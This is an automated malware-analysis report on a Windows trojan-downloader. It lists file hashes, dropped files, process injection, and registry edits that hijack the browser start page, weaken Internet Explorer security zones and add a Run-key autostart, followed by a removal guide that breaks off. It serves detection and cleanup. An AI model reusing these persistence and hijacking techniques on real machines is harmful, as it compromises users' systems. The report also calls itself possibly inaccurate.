Trojan-Downloader.Win32.Agent.hehh (Kaspersky), Trojan.Downloader.Hicrazyk.A (AdAware), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 3c519ceb7ab1a3c0159789e488189b9c
SHA1: dff7d3b165ec769a4180de6e57cb277e4e41f1d0
SHA256: ed27776248062bd0e31808803f0d62d88d9c9b275a35efa5a47c5acc58fc4e0d
SSDeep: 1536:ARYpHXbpdF1XJfHM3S0DamJSNggHYH5rFyLvauPk0DRipYaEdmLt43mRpt :OY3dFNJPmDamJXfhWNrcpaCpt
Size: 88222 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Premium Installer
Created at: 2009-02-21 21:46:39
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:368
wuauclt.exe:304
llxicxn.exe:1516
reg.exe:560
reg.exe:1640
reg.exe:1008
The Trojan injects its code into the following process(es):
zmhb.exe:464
File activity
The process zmhb.exe:464 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\PluginInstallHelper.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\inflate.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ftpprtc.dll (6584 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahcomm.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\fsdrvplg.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\icqprtc.dll (9320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\hashsha1.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\config.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_facade.esm (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\inifile.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\fssync.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Mail64.reg (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\content_filtering.esm (458 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\instrumental.esm (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\clldr.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\imapprtc.ppl (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\btdisk.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\btimages.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\BAIDU2013.key (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\hashmd5.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\extlprtc.ppl (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\arjpack.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\DataFormats-en.xml (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_meta.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\base64p.ppl (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahum.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb4.tmp (305974 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\BDMSkin.dll (37025 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\deflate.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\httpscan.ppl (16288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Cleanup64.reg (300 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_legacy.dll (33633 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\httpanlz.ppl (19096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_facade.dll (25112 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\eka_meta.dll (9320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\filesystem_services.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_assembler.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Cleanup.reg (276 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ichecker.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dns_client.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_anti_malware_facade.dll (11048 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\arj.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_meta.esm (449 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_facade.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\instrumental_meta.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_app_cat.esm (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\filemap.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_response_provider.dll (5520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dtreg.ppl (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_integrity_control.esm (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_meta.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Mail.reg (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\explode.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_config.esm (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\imc.ppl (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_facade.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\crpthlpr.ppl (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_legacy.esm (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\buffer.ppl (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\GetSupplyId.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_meta.dll (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\appcat.ppl (5520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\res\InstallWnd.zip (21216 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\appinfo.kli (520 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_prague_adapter.ppl (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\format_recognizer.dll (19152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\advdis.ppl (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ekasyswatch.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cab.ppl (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\attestation_task.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\base64.ppl (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\KVInstallHelper.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\acassembler.dll (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dmap.ppl (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_meta.dll (9608 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_file_categorizer.esm (917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_process_monitor.esm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\integrity_control.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\avs.ppl (16944 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahrule.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\icuio40.dll (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_meta.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\excludemanager.dll (5064 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp (0 bytes)
The process %original file name%.exe:368 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Start Menu\Programs\Â̶¹ä¯ÀÀÆ÷\Â̶¹ä¯ÀÀÆ÷.lnk (475 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tqomfn_70567.exe (175036 bytes)
%Documents and Settings%\%current user%\Desktop\Â̶¹ä¯ÀÀÆ÷.lnk (463 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISdl.dll (14 bytes)
%Program Files%\lvdou\ico\ie.ico (17 bytes)
%Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\llxicxn.exe (112155 bytes)
%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
%Program Files%\lvdou\ico\anquan.ico (3 bytes)
%Program Files%\lvdou\ico\taobao.ico (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\zb.ini (2 bytes)
%Program Files%\lvdou\Unins.exe (363 bytes)
%Program Files%\lvdou\home.bat (689 bytes)
%Program Files%\lvdou\PopWinParam.xml (4 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\zb.ini.log (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)
The process wuauclt.exe:304 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.chk (100 bytes)
%WinDir%\SoftwareDistribution\DataStore\Logs\edb.log (2232 bytes)
%WinDir%\SoftwareDistribution\DataStore\DataStore.edb (100 bytes)
The Trojan deletes the following file(s):
%WinDir%\SoftwareDistribution\DataStore\Logs\tmp.edb (0 bytes)
The process llxicxn.exe:1516 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\bw\dl.dll (7386 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDLogicUtils.dll.bdl (42989 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\hu.dll (115 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMNet.dll.bdl (31488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\zmhb.exe.bdl (516798 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMNetGetInfo.dll (275 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMReport.dll.bdl (39102 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\BDMDownload.dll (171 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bw\helpers.7z (1791 bytes)
Registry activity
The process zmhb.exe:464 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB F7 D8 B0 0A BC BC AB F7 0D F5 C5 08 11 C0 F0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\System\CurrentControlSet\Control\CrashControl]
"CrashDumpEnabled" = "2"
[HKLM\SOFTWARE\Baidu\BaiduSd]
"RtpFlag" = "273"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
The process %original file name%.exe:368 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.p100.pw"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"DisplayName" = "Â̶¹ä¯ÀÀÆ÷ 1.0.1.1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.p100.pw"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 48 22 76 E0 1F 6C A4 66 BE E7 FE B6 6B A7 DD"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"DisplayVersion" = "1.0.1.1"
[HKCU\Software\SOFTWARE\Policies\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.p100.pw"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"Publisher" = "ä¯ÀÀÆ÷Ãâ€Ã‚´Ã‚ë×Ãâ€Ã‚¶Â¯Â°Ã¦.nsi_nsis-2.44_24406"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\lvdou]
"home.bat" = "home"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"GreeDou" = "%Program Files%\lvdou\gdad.exe"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The process llxicxn.exe:1516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "82 95 AB 40 4F A6 50 0F 7A 7C 51 3E 62 EA 85 43"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCR\metnsd\clsid]
"SequenceID" = "FA B3 15 49 1B 77 3D 47 85 1A DD CA 78 B0 83 93"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\bw]
"zmhb.exe" = "zmhb"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process reg.exe:560 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "83 C3 00 14 02 A1 68 44 42 35 A3 C4 C0 23 67 74"
[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.pz100.pw"
The process reg.exe:1640 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 EB 41 FF EE 89 3C EE 62 52 10 19 13 E0 35 EC"
[HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.pz100.pw"
The process reg.exe:1008 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D 9B A6 84 8D 48 A6 66 56 B4 D5 3E 2F 00 02 6D"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.pz100.pw"
Dropped PE files
| MD5 | File path |
|---|---|
| 05ca3b250b1108f1f64c2771cf25a9b6 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\BDLogicUtils.dll |
| 4b502024e2f25b0ba45e27c0d8b245ee | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\BDMDownload.dll |
| 06597a9f16b163c97b8f95d457bce8b2 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\BDMNet.dll |
| 928208161b61b8c36fa1a6095c1ccfab | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\BDMNetGetInfo.dll |
| 30cbc602ada7cdfb0346038c05996d84 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\BDMReport.dll |
| 73d5e66dfd5a67869773af0d03aa8d03 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\dl.dll |
| 1133d8c35368faa1f5ec0149306fd602 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bw\hu.dll |
| 4a68b5ae510edf56d50b35aaa6904b9d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\llxicxn.exe |
| 9c90c746adae5171c52b932080113331 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\NSISdl.dll |
| b8a283b8850224d5f0f8c4f06302a9f0 | c:\Program Files\lvdou\Unins.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:368
wuauclt.exe:304
llxicxn.exe:1516
reg.exe:560
reg.exe:1640
reg.exe:1008 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\PluginInstallHelper.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\inflate.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ftpprtc.dll (6584 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahcomm.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\fsdrvplg.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\icqprtc.dll (9320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\hashsha1.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\config.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\am_facade.esm (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\inifile.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\fssync.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Mail64.reg (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\content_filtering.esm (458 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\instrumental.esm (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\clldr.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\imapprtc.ppl (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\btdisk.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\btimages.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\BAIDU2013.key (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\hashmd5.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\extlprtc.ppl (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\arjpack.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\DataFormats-en.xml (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_meta.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\base64p.ppl (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ckahum.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb4.tmp (305974 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\BDMSkin.dll (37025 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\deflate.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\httpscan.ppl (16288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Cleanup64.reg (300 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_legacy.dll (33633 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\httpanlz.ppl (19096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_facade.dll (25112 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\eka_meta.dll (9320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\filesystem_services.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_assembler.esm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\Cleanup.reg (276 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ichecker.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\dns_client.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_anti_malware_facade.dll (11048 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\arj.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\app_core_meta.esm (449 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_facade.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\instrumental_meta.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\ac_app_cat.esm (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\filemap.ppl (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb5.tmp\file\cf_response_provider.dll (5520 bytes)
